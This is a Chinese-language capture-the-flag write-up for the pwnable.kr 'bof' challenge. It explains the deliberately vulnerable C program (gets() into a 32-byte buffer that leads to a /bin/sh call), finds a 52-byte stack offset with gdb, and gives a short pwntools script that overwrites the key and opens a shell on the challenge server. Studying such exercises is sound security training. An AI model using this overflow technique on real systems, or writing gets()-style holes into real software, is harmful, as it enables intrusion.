pwnable.kr --- bof題解
題目如下:
我們下載完題目中給的兩個檔案,然後開啟bof.c檔案,我們可以看到原始碼:
#include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key) { char overflowme[32]; printf("overflow me : "); gets(overflowme); // smash me! if(key == 0xcafebabe) { system("/bin/sh"); } else { printf("Nah..\n"); } } int main(int argc, char* argv[]) { func(0xdeadbeef); return 0; }
看了原始碼,我們很容易就發現,這道題它是比對函式呼叫傳入的值和0xcafebabe的大小,如果相等,我們的flag就出來了。但是,這個傳入的值確是已經被程式寫死了。這就是本道題的矛盾之處。
但是我們再往下看,會發現有一個函式gets,我想這個函式是很明顯的一個漏洞函數了,因為它讀入資料的時候,不檢查緩衝區的界限,很容易造成緩衝區溢位漏洞,所以我們一般用fgets函式來代替它。再聯絡一下題目中的 Nana told me that buffer overflow is one of the most common software vulnerability.
,沒錯了,問題就出在這裡。
我們可以通過往gets函式中輸入足夠多的資料,使緩衝區溢位,用我們輸入的0xcafebabe覆蓋之前壓進棧的引數,就get 到 flag 啦~
所以現在我們的問題是:我們需要輸入多少的資料才能覆蓋到之前壓入棧中的引數呢?
根據原始碼,我們可以分析知道我們應該找到的是gets函式到if函式中做比較,這之間的偏移量是多少
我們用gdb來除錯一下:
輸入gdb ./bof
我們先輸入start
將程式執行起來
然後輸入disassemble func
來檢視一下被呼叫函式func反彙編程式碼
我們發現這樣一段反彙編程式碼0x56555654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe
可知道我們的比較語句地址在0x56555654,於是我們在這裡打一個斷點
b *0x56555654
然後輸入r
我們發現程式停在斷點處,此時我們輸入
x /40xw $esp
(x:以十六進位制顯示 w:以4位元組為一個單位顯示)
來檢視從斷點處起的40位元組的記憶體值,由於esp是我們的程式流指標,其裡面儲存了程式在func棧中執行時的記憶體的變化
我們可以發現從第一個出現0x41的地方,到我們的0xdeadbeef距離是13個單位,一個單位是4位元組,也就是我們的偏移量為52個位元組。
於是,只要我們構造出52個位元組然後加上0xcafebabe
,用它來覆蓋0xdeadbeef
即可
由於題目中提醒我們最後 Running at : nc pwnable.kr 9000
所以我們來寫我們的exp
from pwn import *
c = remote("pwnable.kr",9000)
c.sendline("AAAA"*13+p32(0xcafebabe))
c.interactive()
執行指令碼檔案,可以得到答案: